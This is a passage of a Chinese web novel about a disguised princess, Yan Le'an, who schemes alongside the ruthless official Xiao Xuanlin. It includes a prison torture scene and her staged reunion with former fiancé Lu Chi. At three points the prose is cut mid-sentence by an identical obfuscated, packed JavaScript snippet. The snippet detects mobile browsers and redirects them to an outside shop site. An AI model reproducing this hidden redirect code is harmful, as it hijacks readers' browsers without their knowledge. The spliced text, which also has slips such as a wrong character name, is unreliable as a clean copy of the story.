她瞪大眼睛看向眼前这人,竟然从他的眼睛里看到了担忧。 他在担心她,这还是那个杀人如麻的萧玄凛吗? “阿乐,你的命是我的。我们既然已经合作,那就护好你这条小命。在没有完成我们的约定之前,你最好安安分分的活着。不要在自作主张。” “大人,我只是担心你。” 萧玄凛的指尖还在摩擦她的伤口,虽然很轻,但晏乐安还是感到了一丝丝的痛意。 “但也不妨碍你想借此机会利用我不是吗?” 晏乐安的嘴角微微颤抖,但很快就挂上了笑容。 “大人这是什么意思?难道我舍去这条性命为大人挡剑换来的就是猜疑吗?大人口口声声说我们是合作,可却一直在怀疑我,一丝信任都没有给过我。” 晏乐安的情绪有点激动,连带着咳嗽了几声:“我没有武功,也没有任何长处,甚至连一个真正的落脚之地都没有。大人,你是如今阿乐在这世上唯一可以信任的人。” 萧玄凛听完并没有什么反应,面上也没有丝毫变化。 她看着他,他看着她,两人静默许久。 “好好养伤,两日后我带你去一个地方。” 终于,萧玄凛扔下一句话,然后抬步离开。 晏乐安一脸懵的看着眼前萧玄凛扔在床边的金疮药,果然,哪怕她替他挡剑,也最多换一瓶金疮药和一句虚情假意的关心而已。 他果然还是那个人人唯恐避之不及的阎王。 “姑娘,您何必呢?以奴婢看来,那位世子殿下压根就没将您放在眼里。您都替他挡了一剑,受了这么重的伤,换来的却是猜忌。” 银月心疼的看着自家公主,她虽然和公主分离十年,但公主依旧是她心中最重要的人。 她幼年就被送入宫中,因为家室不好,性子比较直,宫中人又大多踩低捧高,受了不少委屈和挫折。 因为一次意外。 她被罚跪在烈日下三个时辰。 宫殿的飞檐在烈日下扭曲成一片模糊的金影,耳边只剩下自己粗重的喘息和蝉鸣的聒噪。 当她觉得天旋地转,呼吸也逐渐变得急促起来。就在意识即将涣散的那一刻,一阵清越的声音自身后不远处传来。 那声音极轻,却带着一种与生俱来的高贵与清冷,瞬间穿透了燥热的空气,落在了她的耳中。 她强撑着身子涣散的目光下意识地向后望去。 只见宫道尽头,一把素色的团扇正轻轻晃动。 扇后的姑娘约莫六岁年纪,梳着两个圆滚滚的发髻,用红绳系着,随着她的动作轻轻晃动。 那一刻,所有的酷热、疼痛和晕眩都仿佛被隔绝开来。 她只觉得,这位缓步走来的公主,就如同传说中踏云而来的九天仙子,不染凡尘,却足以让天地为之失色。 当她以为生命无望时,是公主救了她,也只有公主伸出了援手。 那可是圣上最疼爱的女儿,是金枝玉叶,是天之骄女。是整个大乾王朝人人仰望、心生敬畏的存在,是最最尊贵的昭阳公主。 可偏偏,银月泪眼婆娑的看向床上躺着的晏乐安,女子似乎很累,却还是强撑着让自己保持清醒。 偏偏,小小年纪便担上了旁人不敢想的重负。 她是怎么熬过这十年的啊,银月根本不敢想。 明明最怕疼的小公主, 如今受伤这么严重却还是面不改色的安慰她。 “小银月,别哭了。” “万一被暗卫看到了。你家姑娘我可解释不清了,不知道的还以为我欺负小姑娘呢。” 晏乐安强忍着痛意, 其实她早就习惯了。 青禅寺无数个日夜她都受着撕心裂肺,五脏俱焚的折磨。 刚开始她会哭,会喊,会怨。 慢慢的,她已经没有力气去骂了。 她只想活着,靠着一个信念支撑着她。 可习惯了,不代表不会痛。 银月被晏乐安一说,更加难受了,眼泪根本止不住。 “姑娘,可奴婢实在替您不值。” “这本就是我自愿的,值不值当又有什么关系。”晏乐安说道。 她自愿为他挡剑,也心甘情愿受他促使,因为她要的,远远超过她给他的。 迟早有一天,她要他心甘情愿的说一句。他愿意付出一切,只为她可以看他一眼。 晏乐安嗤笑了一声,不知道是笑自己不自量力的去为他挡剑,还是笑她自己实在是愚蠢至极。 她不想去思考这些了,时间凡事,皆有因果。 他们的因果十年前便已经埋下了。 萧玄凛此人不是最擅长利用人心吗。 那她就让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712704|189298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完完整整的输在这颗心上,输的心服口服,甘之如饴。 大理寺的牢狱终年不见天日,阴冷的石壁上渗着水珠,滴答声在寂静的走廊里格外清晰。 晏乐安跟在萧玄凛身后,黑色斗篷的兜帽遮住了她大半张脸,只露出尖细的下巴和淡色的唇。 她脚步很轻,像一只悄无声息的猫,但萧玄凛知道,她的目光始终警惕地扫视着四周。 “害怕?”他突然停下,侧头看她。 女子差点撞上他的后背,堪堪稳住身形,然后疯狂点头:“怕不是很正常吗?” 晏乐安想起刚刚走过时不小心瞥见有个穿着囚衣的人身上满是血迹和烙印,还有一个人身上甚至没有一块完好的皮肉。 她能忍着不吐出来已经是极限了,怎么可能不害怕,也就只有像萧玄凛这样整日和这些打交道的人才不会害怕。 她嘟囔了一下,又暗暗打气让自己尽量忽略那些声音:“大人带我来这里,想让我看什么?” “看戏。”他收回手,转身继续往前走,“顺便带你见个熟人。” 晏乐安眸光微闪,没再接话。 穿过三重铁门,血腥气愈发浓重。 牢狱深处,两间单独的石室里,关着两个人。 最深处的刑房里,张良被铁链锁在木板上,十指血肉模糊。听到脚步声,他艰难地抬头,待看清来人后瞳孔骤缩:"萧......萧玄凛!" 而另一个人, 晏乐安的脚步微微一顿,目光望向不远处的牢房。 那似乎是个年轻男子,一身灰麻囚衣,却丝毫不显狼狈。他靠墙而坐,修长的手指间捏着一枚棋子,正独自对弈。听到脚步声,他抬起头,露出一张温润如玉的脸。 眉眼如画,气质清雅,像是从水墨画里走出来的翩翩公子。 晏乐安怔了怔。 萧玄凛察觉到她的异样,眸色微沉,语气却依旧漫不经心,对着张良说:“还不招?” 张良浑身发抖,手脚并用地往后缩:“萧玄凛,我祖父可是当朝钦天监监正,你怎么敢私自让他们对我用刑。” 萧玄凛勾唇一笑,眼底却毫无温度:“哦?照你这么说,看在你祖父的面子上,本官不亲自动手,到显得本官无视官威了。” 萧玄凛的话音未落,一只手却已探向炭盆,通红的烙铁被他随意拎起,火星溅在青石板上滋滋作响。 “你……你想干什么?!” 张良本能的往后缩,但被身后的木桩牢牢牵制住。 “不干什么。”萧玄凛慢条斯理地拿着烙铁向张良靠近,“就是忽然手痒,这大理寺牢狱的刑具本官已经许久未碰过了” 张良瞳孔骤缩:“你怎么敢?你怎么敢?我祖父绝对不会轻饶你的。” 萧玄凛轻笑一声,突然抬手,通红的的烙铁直接抵在张良的心口处,“如今你那祖父自身都难保了,你以为他还有精力来保你吗?” “你杀了郑言,你觉得郑钧会放过你。还是你觉得你祖父会舍弃全家人的性命来和郑钧鱼死网破。若本官记得没错,你祖父前段时日给你父亲名下过继了一个宗门之子。” 萧玄凛手中的烙铁又加深了几分。 张良瞬间发出刺耳的叫声:“啊啊啊!求求你放过我吧。” “我祖父和姑姑最疼我了,只要你答应放过我,你想要什么,我都可以给你。” 萧玄凛嗤笑一声,思绪飘到前几日的夜晚。 13. 秘密 门被轻轻推开,张守正走了进来。没有了白日里的官服加身,显得有些苍老和佝偻。 他反手掩上门,对着萧玄凛深深一揖,声音带着些许的疲惫: “殿下,深夜叨扰,实在是迫不得已。老夫是为犬孙的事来拜托大人。” 萧玄凛缓缓转过身,示意他坐下,亲自为他斟了杯茶。 他没有立刻回答,只是将茶杯递过去,语气听不出喜怒: “张监正,即是深夜来访,想必是思虑再三。令孙之事,朝野震动,本官压力亦不小。” 张守正接过茶杯,却无心饮用: “我知道此事棘手!可他毕竟是我张家独苗啊!还请殿下帮老夫一次。” 萧玄凛看着他,语气平静却异常坚定: “张监正,您我同朝为官多年,我敬您学识。但律法之事,我无能为力。本官掌刑狱,只认法理,不认私情,更不论宫中关系。今日我若因私废公,明日如何面对天下百姓?又如何对得起死去的中书令公子?” 他的话,温和却字字千钧,彻底断绝了张守正的念想。 只认法理,不认私情,更不论宫中关系。 这是想告诉他,即使是宫中的德妃娘娘,在他这里也不会有丝毫颜面。 张守正哎叹一声,他何尝不知道萧玄凛说的不过是一些场面话罢了。 他的手段,朝堂之中,人人皆知。 想要保一个人,不是没有可能。 “殿下,下官知道此事之难,但良儿绝无可能做出此事,他平时里虽爱胡闹,但也有分寸。断断是不可能做出此事的,殿下。” 话音落地,这位在朝堂上举足轻重、年过古稀,受百官敬仰的老臣,双膝重重跪在地上。 “还请殿下看在老夫这把老骨头的面上帮老夫一次。” 然而,上座的男子只是微微垂眸,长睫在眼下投出一片淡淡的阴影。 他身着月白锦袍,墨发仅用一支玉簪束起,周身散发着拒人千里的清冷。 面对张守正的屈膝相求,他脸上没有半分波澜,既无动容,也无鄙夷,连指尖都未曾动过分毫。 过了许久,男子冷淡开口: “张大人,本官前段时日丢了一个东西,恰巧在丢东西的地方发现了这个。”萧玄凛示意守川将那枚刻有钦天监的令牌递给张守正。 张守正连忙起身,接过令牌。 看见令牌的瞬间大惊失色:“殿下,老夫实在不知这枚令牌为何会出现在殿下这里,恰巧前几天家中失水,令牌丢失,老夫怕伸张出去造了祸端,便瞒了下来,私下寻找。” “实在是不知为何会出现在大人的地盘。” “即是张大人的东西,那便拿回去,好好保管。” 萧玄凛面无表情:“只是,好端端的,为何失水,张大人不妨好好想想。” 张守正瞪大眼睛豁然开朗:“殿下,这一定是有人栽赃陷害,是有人故意挑拨老夫与大人的关系。” “张大人慎言,本官与你并无关系。” 萧玄凛面色不耐:“若张大人一直装傻,那本官也不必浪费口舌了。” “伏川,送张大人出府。” “是。” 伏川做了个请的姿势:“张大人,请。” 张守正见萧玄凛眼神锐利,他自然知道他今晚愿意见他,是有条件的。 他原本想装傻糊弄过去,却奈何这人直接撕破脸皮,不给他一点机会。 张守正长叹一声:“程诀与老夫早已断了联系,他虽与我一同为钦天监做事,但交情并不深。至于大人想知道的,老夫确实不知啊。” “不过,老夫记得程诀有个相好,向来备受喜爱,若不是有一日喝醉泄了风,就连老夫也被瞒了许多年。” 张守正说完抬手就袖子擦了擦额头的汗。 萧玄凛听完声色不变,看着地上的人: “张大人,本官可以给你一个保他的机会。 “你死,他活。” 张守正听见这话,瞬间汗毛立起。 他虽早就知道这人的心狠手辣,却还是抱有一丝希望。 中书令此人本就与他有芥蒂,如今更是出了如此大的事情,他绝不会轻易放过良儿。 而宫外能暂且保住良儿的,满朝文武他竟只想到了一人。德妃这几日已在宫中打点,只要这位世子殿下保良儿安稳活到宫中传出信即可。 可没想到他竟拒绝的如此干脆,丝毫不留情面,竟还给了他一个无法抉择的选择。 “本官言尽于此,至于如何选,大人回去细细思量。” 萧玄凛嗤笑一声,思绪被拉回来。 “可惜啊,张监正选了你死。” 晏乐安站在背后,定定的看着面前的人,男子一席黑衣,挡住了她的视线。 她只能听见他们交谈的声音,却还是忍不住内心发颤,明明她早该明白这些道理的。 此刻也不免感到有些唏嘘。 权势鼎盛时,所谓的宠爱,是锦上添花。一旦树倒,最先散的就是猢狲。哪怕是有着血缘的亲人,也最终会成为权衡利弊下的牺牲品。 她的母妃不是就活生生的例子吗? 晏乐安自嘲的笑自己,耳边又传来痛苦又颤抖的声音。 “我没杀郑言,我真的没杀他。我醒来时,他就已经死了,我那日不知怎的就晕过去了,我什么都不知道。世子殿下,求您放过我,放过我吧。” 见萧玄凛没有任何反应,张良此刻也顾不上祖父曾经交代过的话了:“我知道一个秘密,这个秘密关系重大,只要你放了我,我就告诉你。” 萧玄凛冷笑:“是吗?那你为何会那么凑巧出现在哪里?” 张良:“世子殿下,这一定是有人栽赃陷害。我当日不过就是喝了几杯花酒,半路就晕过去了,醒来就出现在那了。我真的什么都不知道。” “接着说。”萧玄凛淡淡开口。 “我该说的都已经交代了,我真的什么都不知道。” “那个所谓的秘密。” 张良还有些顾忌,当着这么多人的面说出来,他左顾右盼,迟迟没有开口。 萧玄凛也被他耗的没有了耐心,手里又开始把玩其他物件。 张良本还在犹豫,眨眼间看见萧玄凛手中的利剑,再也顾不上了,连忙开口:“我之前偶然听到祖父和丞相说要找什么书信,据说之前程诀并没有毁掉,反而是被人半路截胡,但程诀为免被责罚,便悄悄瞒了下来。听说这些书信关乎十年前一场大事,丞相和祖父都派人找了许久。” 晏乐安的心里微微一颤,手不自觉的抓起衣角。 能让当朝丞相和钦天监监正都如此看重的书信,其实必定有这天大的秘密。 十年前京中除了她外祖一家被传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712705|189298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通敌叛国满门抄斩之外,并无其他大事,那些书信与她的外祖一家莫非有关联。 晏乐安忽而想起来初入上京,她也是去了大理寺。 那日,萧玄凛在暗室里杀了许多人,那些黑衣人想必也是去劫程诀的。 看来程诀此人至关重要。 萧玄凛目光晦暗,利剑又离张良近了几分。 张良此刻早已被吓的口不择言。 “萧玄凛,你就是个恶魔,你就是从地狱里爬出来的恶鬼。” “怪不得十年前你亲手杀了你的师父和好友,你根本就是个疯子。” 萧玄凛嘲讽一笑,身上的冷气瞬间爆发。 “你不要杀我,不要杀我。” 晏乐安冷眼旁观,心里毫无波澜。 她从来都不是个仁善的人,更何况是对付一个本身就罪恶滔天的人。 忽然,利剑坠地。 张良脖子上出现了一道不浅不深的划痕,眼睛紧紧盯着,嘴巴张着,不敢相信自己竟然被吓得当众失禁。 萧玄凛转身,便见一道纤细身影立在身前。 四目恰好相撞,女子原在怔怔出神的眸光忽然一闪,瞬间换上一副怯生生的模样。 张良在极大的羞耻心之下也被眼前的女子吸引了注意力。 他见过许多女子,其中不乏有世人皆称其美貌,可与眼前的女子比起来,却不免落了下风。 而晏乐安眉头微蹙,声音细若蚊蚋,带着几分颤抖:大人,阿乐好怕~。” 萧玄凛看着她这般模样,不动声色地往后退了半步,与她拉开一丝距离,沉声道:“见到仇人痛苦,你不该开心吗?” “可是,可是他流了....血”晏乐安用手指了指张良心口处,被烙铁烫过的伤疤触目惊心,应是刚才剑掉落的时候划到了伤口,此刻有血液顺着衣襟留下来,落在地上。 萧玄凛不知为何忽然鬼使神差的靠近她,宽大的手掌覆在了她的眼上。 掌心触到她温热柔软的肌肤,他自己也愣了一下。 猛地反应过来自己的举动太过反常,几乎是立刻就抽回了手,语气骤然变得冰冷刺骨,甚至带着一丝狠厉: “既然这么胆小,见不得半点风浪,那这双眼睛留着,倒像是个累赘了。” 晏乐安听完几乎是下意识就捂住自己的眼睛。 她本以为,他覆上她眼睛的那一刻,会是戏本里写的那种铁血男儿也有柔情的温情画面。 可当他那句冰冷话语砸下来时,她脸上的血色瞬间褪去。 然而却并非因为伤心,而是源于一种似乎被愚弄后的羞恼。 她在心中冷笑一声,果然是个冷血无情的人。 她要与这样的人周旋,只需步步为营,不必掺杂任何真情。 “大人,你人真好。”晏乐安放下手,脸上挂了笑容。 萧玄凛似乎没想到她会是这个反应,也没想到她会说这句话。 她的脑子里到底装的是什么。 “阿乐知道,大人刚刚的话不是真心的。”她又思考了一会儿,接着说:“大人,其实你想对一个人好,不必装作冷心冷情的样子。” “这样的话,即使你做了很多好事,别人也不知道你是为她好,反而会误会你,埋怨你。” 萧玄凛声色微变,晏乐安忽然听见面前的男人低低笑了,笑声里带着说不出的自嘲。 14. 狐狸 “好人?”他低声重复,指尖无意识地摩挲着腰间佩带的玉佩。 恍惚间又回到了那个阴雨连绵的午后,少年时的他握着那把师父亲自为他打造的短剑,刺穿了师父的胸膛。 他一直都是一个该死之人,活着是上天对他最大的恩赐,也是这世间对他最残酷的惩罚。 “对啊,大人在阿乐心中,一直都是一个极好的人。” 萧玄凛未回应,晏乐安又自顾自的说了起来: “阿乐初来京城,大人便为阿乐提供住所。不介意阿乐的鲁莽与冒犯,反而帮阿乐报仇,又为阿乐寻来父亲。大人对阿乐一直都很好,所以阿乐一直以来都十分感激大人。” 萧玄凛听完这话,没有立刻回应,只是挑了挑眉,嘴角勾起一抹玩味的弧度。 是初遇时,他因她身份不明而满眼戒备,言语间尽是冰冷的试探;是她替他挡剑时,他言语冷淡,只送去药膏;是他故意试探她,在她面前杀了她的父亲。 这些他记得一清二楚,可她却笑着,一字一句地说,“他对她好”。 她口口声声说她要报仇,却在今日见到张良时没有丝毫的情绪变化。 她的行事作风经常让人感到怪异。 上一秒可以满眼仇恨,下一秒却又可以笑眯眯的,在下一秒又换上一副胆怯的模样。 真正的她究竟又是什么样的呢? 萧玄凛第一次认真的看着面前的人,女子眉目如画,明媚皓齿,笑起来时,眼角眉梢都微微弯起。 这世间有许多想接近他的人,而那些人都藏了一颗杀他的心。 晏乐安也发现了萧玄凛的目光正死死的盯着自己。 正想要说些什么,却听见萧玄凛冷冷的声音传入耳朵:“方才见到张良,阿乐姑娘表现的还真让人意外。” “那我该如何表现?” 晏乐安顿了顿,语气听不出喜怒: “一个将死之人,我为何要为他劳苦伤神。” “张守正的选择就是对他最好的酷刑。一个平日里对他万般宠爱,百依百顺的祖父在面临抉择时不也还是抛弃了他。既然他注定会死,我自然不必让自己徒增难过。而且大人不是也提前吩咐狱卒让他受尽了酷刑吗。” 萧玄凛陡然听见这话,脸上露出了一丝满意。 原来这个看似需要他保护的盟友,有着比他更冷冽、更决绝的一面。 “走吧。”萧玄凛向着牢房深处走去。 晏乐安低低应了一声,垂下眼眸,掩去了眸底一闪而过的得意,乖巧地跟上了他的脚步,只是走路时,仍时不时地往他身边靠一靠,一副依赖十足的模样。 牢房深处,萧玄凛脚步顿住。 晏乐安的目光不自觉地移向那个男子。 他似乎对眼前发生的一切毫无反应,依旧专注地看着棋盘,修长的手指轻轻落下一子。 “啪。” 清脆的落子声在寂静的牢房里格外清晰。 萧玄凛眯了眯眼,转头看向他:“好雅兴。” 陆迟这才抬眸,微微一笑:“世子见笑了,闲来无事,打发时间罢了。” 他的声音温润如玉,像是山间清泉,让人莫名觉得舒适。 晏乐安忍不住多看了他一眼。 “这位是?”陆迟的目光落在她身上,忽然顿了顿。 萧玄凛不动声色地侧身,隔断两人交汇的视线:“我闲来无事收养的一只狐狸。” 陆迟好奇的看向萧玄凛:“人人都说世子殿下不近女色,至今守身如玉,怎么如今倒是发了善心。” 萧玄凛盯着陆迟看了片刻,依旧漫不经心:“陆榜眼好记性啊,短短一年时间,便将自己的未婚妻忘的一干二净,见面不识了。” 晏乐安眸光微动,连忙出口:“阿迟~,去岁你传书与我,言及解除婚约,只道是嫌弃阿乐愚钝,恐误你青云之路。今日我方才知晓,你竟是遭此大难,身陷囹圄!你解除婚约,原是怕连累于我,陆郎,阿乐说的可对?” 说完,晏乐安悄悄向陆迟眨了眨眼。 陆迟听到她这番话,先是一怔,眼中闪过一丝错愕。 须臾便明白了,萧玄凛想必已经查到了阿乐与他的关系。 随即开口说道:“阿乐姑娘切莫拿自己的名声开玩笑,陆某去岁便于姑娘解除婚约。况且婚约一事本就是家中长辈的玩笑话罢了,当不得真。” “陆郎,到了如今时刻,莫要再诓骗我了。今日我已知陆郎窘境,便绝无可能独自快活。还请陆郎宽心,阿乐定会想办法救你脱困。”晏乐安泪眼婆娑,眼眶也渐渐泛红。 陆迟不由的有些恍惚。 这是他第二次看见面前女子如此柔弱,楚楚可怜的形态。 上一次,是在青禅寺,他为了家中病弱的父亲去祈福,听闻在佛祖面前跪满三天三夜,便可换个一个心愿。却在夜半时分,听见有女子轻轻的哭泣声。那是他第一次见到晏乐安,祠堂里的烛火微微晃动,映照出了女子的身影,陆迟抬眼便看见那抹素色身影。女子跪在蒲团上,脊背挺得笔直,却难掩身形的单薄。她双手合十抵在额前,默默祈祷。 木门半掩着,恰将两人隔在一内一外的光影里。 那一夜。 她面向佛祖跪着,他站在一门相隔的外面。 当日初见不察意,日后岁岁总思之。 那是的他或许也不会想到往后许多年,他仍然会想起今日初见她的日子。 “吱呀”一声轻响,晨光瞬间涌了进来,也照亮了门外倚着廊柱的身影。 陆迟被晨光晃了眼,揉了揉眼睛,才待看清门内的女子,他慌乱的起身想跑,却摔了一个踉跄。 陆迟眼底闪过一丝尴尬,随即站直了身子,拱手作揖,坦诚道:“昨夜见姑娘独自入祠,夜晚风凉,便想着在此守着,免得有意外。”他顿了顿,补充道,“未敢打扰姑娘祈福,还望姑娘莫怪。” 女子似是感到很意外,愣神半许,屈膝回礼:“公子有心了。我叫张阿乐,家在青石镇”,女子犹豫一下,又开口说道:“前几日阿娘去世,我便和佛祖约定为佛祖供奉一年,换我阿娘轮回投和好胎。还望公子莫要将此事说出来,替我保密。” 祠堂初见后,他总寻着为父祈福的由头去往青禅寺。 有时是提着刚从山涧摘的野莓,对着那个冷冰冰的姑娘说:“见这果子鲜,想着小姑娘许是喜欢吃这些”。有时是携着卷新得的棋谱,说道:“听闻姑娘善弈,想邀姑娘赐教”。 晏乐安性子清冷,起初只淡淡应着,却渐渐也抵不住他的胡搅蛮缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712706|189298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他知道她话少,时常捡些山间趣闻讲给她听,说哪棵松树上有松鼠筑了巢,哪片溪水里能找到彩色的石子。晏乐安听着,偶尔抬眸问一句“后来呢”,他便滔滔不绝的讲个不停。 此后,这样的相伴成了常事。他为她寻来她喜爱的话本,她替他整理凌乱的棋谱;他带她去市集看杂耍,她为他挑选合心意的墨锭。 他曾以为这样的时日还有许久,却没想到这样的时日只有短短不过三年。 原来啊,她是当朝公主。 残阳如血,染红了城郊废弃的破庙。 他循着她留下的绢帕碎片寻来,却在庙门吱呀开启的瞬间,被眼前的景象钉在原地。 女子背对着他,素白的衣衫已被血渍浸透大半,肩头在微微的颤抖。手中还紧攥着一把染血的短剑,而她身前,倒地的人早已没了气息,胸口的伤口还在汩汩渗血。 那人是青石镇有名的恶霸李员外,阿乐的父亲曾为了银两要将阿乐卖给他。那李员外常年强抢民女,作恶多端,府里的丫鬟稍有不慎便会被打骂,他断断不能让她入那虎口。 于是他给了阿乐父亲自己所备的进京赶考的盘缠,立了婚书护她周全。 “阿乐?”他下意识地向前迈了一步。 女子猛地回头,脸上还沾着溅落的血点,原本清冷的眼眸此刻盛满了惊惧,泪水混着血污滑落。 她看见他,瞳握着剑的手猛地松了松,短剑“当啷”一声落在地上,发出刺耳的声响。 “你……你别过来!”她声音发颤,双手用力在裙摆上擦拭,可血渍早已干涸,只蹭得裙摆更加狼藉。 她越是擦,身体抖得越厉害,“我不是故意的他说他不会放过我的,我没办法。” 他看着她满手血污、满眼惶恐的模样,心口像被狠狠攥住。正要上前,却瞥见她腰间不慎滑落的玉佩。 那枚玉佩雕着繁复的龙凤纹,他曾有幸在书本上见过此物的画像,正是皇家宗室独有的样式。 她从不提及家世,却对宫廷礼制熟稔于心;她偶尔望着宫墙方向出神,眼底藏着难掩的愁绪。他脚步顿住,喉间发涩,一个从未敢想的念头撞进脑海。 “你是?”他声音艰涩,目光落在那枚玉佩上,“那位大名鼎鼎的乐安公主?” 他话音刚落,女子脸上的惶恐骤然褪去,方才还含着泪的眼瞬间冷了下来,连带着周身的怯懦都瞬间消失的无影无踪,浑身变得疏离与冷清:“陆迟,我从未想过刻意瞒你,你说的没错,我根本就不是张阿乐,我的真实身份便是那因残害兄长被褫夺封号贬到青禅寺的落魄公主。今日你看见我杀了人,要去向官府告发我吗?” 女子接着冷声到:“无论你今日做何决定,我都不会怪你。我以后大概也不会做个好人,今日不过是个开头罢了。” 陆迟闭了闭眼,终是咬了咬牙,脱下外袍裹住她,又寻来石块与杂草,一点点将尸体掩盖,动作间满是挣扎,却仍低声道:“别怕,有我在。” 沈砚之望着地上的痕迹与她满手血污,指尖攥得发白。他自读书之日起便立誓要做刚正不阿的清官,断不会徇私枉法。如今官未做,便已有了私心。 他叹了口气,替她擦拭掉手上的血污。 他终究是无法清白与世了。 15. 婚约 “陆郎可是怪我?”晏乐安泪眼婆娑,手指轻拭眼角。垂着的眼睫却悄悄抬了半分,余光掠过斜后方站着的萧玄凛,又飞快扫过面前不知在想何事的陆迟。 萧玄凛静静看着,陆迟也被晏乐安的一声陆郎唤回了思绪。 “往日情分皆成过往,唯愿姑娘珍重自身,切莫为我枉费心神。”陆某在此向姑娘赔罪,还望姑娘海涵。 “自此,你我二人,婚嫁与否,互不干涉,皆为自由身。” 他们二人之间何曾有过牵扯,就连那封不作数的婚约也不过是个假名头罢了。 她是当朝公主,而他不过是个劫下囚。 怎敢肖想呢? 他该有自知之明的。 他不知她为何要演这出戏,他的眼光转移到身后那人身上,是为了给他看的吗? 地牢湿冷,霉味与血腥气缠作一团。 而萧玄凛一袭玄色官袍,立于这污秽之地,仿佛这暗无天日的牢笼本就是他的属地。 而晏乐安立于萧玄凛侧前方,陆迟又望着她,忆起那日她手刃李员外后被他拆穿身份的表情神态。 他心头一震,嗤笑出声。 原来啊,他们才是同路人。 于黑暗中独行,以血饲心,本就是同一种魂魄。 “你我婚约虽解,可到底还是有往日情分在的,阿乐怎会忍心见陆公子陷入此等困境却不伸以援手。”女子的话语慢悠悠的飘进两人的耳朵,“那样和那些忘恩负义之人有何区别,倒不如早早去找那阎王爷报道,免得落得个人人斥骂的下场。” 陆迟喉间低低溢出一声笑,可那眼眸中却藏着一丝涩然。 她这是在提醒他,别忘了他们之间的约定。 三年前,他因举报在青禅寺祈福的中书令之子郑言强抢民女,致其一家惨死,被其报复。重伤时,是她救他一命。 “陆迟,你我之前本就谁也不欠谁的。我今日救你一命,无论你以后考取功名入朝为官,还是当一名普通人亦或是当一名游客,还请不要站在我的对立面。” 三年前的她与如今的她重合在一起,她一直都没变,只是他从前看不清罢了。 她向来都是一个冷心冷情之人,哪怕他替她毁尸灭迹,替她掩盖罪名,她都丝毫不为所动。 换来的只有一句,她不欠他的。 他只记得他当时只答了一个,“好。” 从遇见她的那刻起,他便走不了他最初想走的路了。 晏乐安心里还有点彷徨,她太清楚陆迟是怎样的人,所以她逼着他,变成一个他厌恶的自己。 他重情义,讲道义,可偏偏遇见了她。 一个无所不用其极的恶人。 晏乐安忽然感觉有一道视线注视自己,她偏头,看到了站在她身后的萧玄凛。 萧玄凛也在侧头看着她,晏乐安注意到此人眼底的玩味。 也不知道他有没有相信。 这时,陆迟出声:“世子殿下,听说你棋艺精湛,不如……我们下一局?” 萧玄凛抬眸,转身坐下。 晏乐安站在一旁,看着两人对弈。 准确的来说,她是看着陆迟。 他的棋艺是她亲手传授,他们曾坐在院落执棋对弈,也曾一起对着月亮畅聊人生。 他说:“我要做一个对朝廷有用之人,为大乾贡献自己的力量,当百姓中的好官,为百姓讨公道。” 她说:“我此生所求,一要这世间奸佞之徒、该死之人,皆难逃法网,血债血偿,得到应有的报应!二要为那些蒙冤受屈的无辜者,洗刷污名,昭雪沉冤,还他们一个清白公道!三要这大乾江山社稷稳固,百姓能安居乐业,不受饥寒之苦;更要那边疆烽火不起,将士安宁,四方臣服,永享太平!” 那时,陆迟还不知道她的身份,她难得遇到了一个愿意片刻交心的人。 两个年少轻狂的人就这样在月亮下许下此生所愿。 一年未见,也不知他的棋艺如何了。 陆迟落子凌厉,步步紧逼,而萧玄凛却从容不迫,每一手都恰到好处地化解危机。 棋局过半,陆迟突然开口:“世子殿下,可曾去过青禅寺?” 晏乐安指尖一颤。 萧玄凛执棋的手微微一顿,随即说道:“未曾。” 陆迟盯着他的眼睛,缓缓道:“只是觉得,世子有些眼熟。” 萧玄凛没有接话,反而抬手落下一子,原本占尽优势的黑棋,瞬间被击垮。 陆迟看向棋局,面色微变,原来是诱君入瓮,天地大同的杀招落下,纵有回天之术,也难破此局。 萧玄凛眼神幽暗,低沉的声音传入晏乐安的耳朵:“阿乐,觉得此局如何?” “大人说笑了,阿乐一个乡野女子,怎会懂棋艺。” “只是,阿乐不明白。棋局博弈,胜负当真重要吗?” 陆迟开口:“棋局亦战场,落子胜负,便是成败定局。” 萧玄凛面无表情,只抬手将棋盘上的一个黑棋移了位置。 棋盘之上,攻守瞬间交换,只凭一个棋子,便让黑棋获得了一线生机。 萧玄凛并未久待,只留下一句:“陆大人,选择很重要。”便离去了。 晏乐安没反应过来急忙想要跟上萧玄凛不小心被拌得踉跄了一下,刚好对上陆迟的目光。 他依旧坐在那里,眉眼含笑,对她轻轻点了点头。 像是…在…安慰。 晏乐安也回了一个微笑转身离去。 陆迟男二静坐良久,萧玄凛这盘棋,是递来的橄榄枝,无非是暗示他,加入镇北王府便有活路,否则便如这棋盘上的棋子只有死路一条。 朱漆寺门缓缓开启,萧玄凛和晏乐安前后踏出。 